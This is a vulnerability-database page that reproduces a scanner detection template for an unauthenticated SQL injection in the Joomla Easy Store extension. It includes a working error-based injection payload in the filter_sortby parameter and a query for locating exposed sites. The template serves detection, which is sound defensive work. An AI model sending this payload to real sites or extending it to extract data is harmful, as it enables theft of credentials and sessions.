Joomla Easy Store - SQL Injection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2026-65761 | 24 Jul 202611:07 | – | githubexploit | |
| Exploit for CVE-2026-65761 | 28 Jul 202614:51 | – | githubexploit | |
| CVE-2026-65761 | 23 Jul 202616:38 | – | attackerkb | |
| CVE-2026-65761 | 23 Jul 202620:56 | – | circl | |
| CVE-2026-65761 | 23 Jul 202616:38 | – | cve | |
| CVE-2026-65761 Joomla Extension - joomshaper.com - Unauthenticated SQL injection in Easy Store extension 1.0.0-2.0.1 | 23 Jul 202616:38 | – | cvelist | |
| EUVD-2026-48314 | 23 Jul 202616:38 | – | euvd | |
| CVE-2026-65761 | 26 Aug 202607:35 | – | kitploit | |
| CVE-2026-65761 | 27 Aug 202602:31 | – | kitploit | |
| CVE-2026-65761 | 23 Jul 202617:16 | – | nvd |
10
id: CVE-2026-65761
info:
name: Joomla Easy Store - SQL Injection
author: YesWeHack
severity: critical
description: |
Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.
impact: |
Unauthenticated attackers can read the entire database, exposing sensitive data including credentials and session information.
remediation: |
Update to the latest version of Easy Store extension.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-65761
- https://mysites.guru/blog/easystore-security-disclosure/
- https://www.joomshaper.com/easystore
classification:
cve-id: CVE-2026-65761
cwe-id: CWE-89
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cpe: cpe:2.3:a:joomshaper.com:easy_store_extension_for_joomla:*:*:*:*:*:*:*:*
metadata:
max-requests: 1
vendor: JoomShaper
product: Easy Store
fofa-query: app="joomla" && body="Easy Store"
tags: cve,cve2026,joomla,easystore,sql-injection,unauthenticated
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_easystore&view=products&task=search&filter_sortby=created-ASC,EXTRACTVALUE(1,CONCAT(CHAR(126),SUBSTRING(MD5({{num}}),1,28)))--+-"
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains_all(body, substr(md5(num), 0, 28), "XPATH syntax error")'
condition: and
# digest: 4a0a00473045022100961cfee592b5b47abc7dbf902d818ed0d53078834b52c18f6c4881339c6482e9022030a6e80be847d012ddfef46c72e5223a473df6a2f49d5b0fbfe9c28050d1f404:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2026 09:09Current
5.6Medium risk
Vulners AI Score5.6
CVSS 49.3
EPSS0.00347
SSVC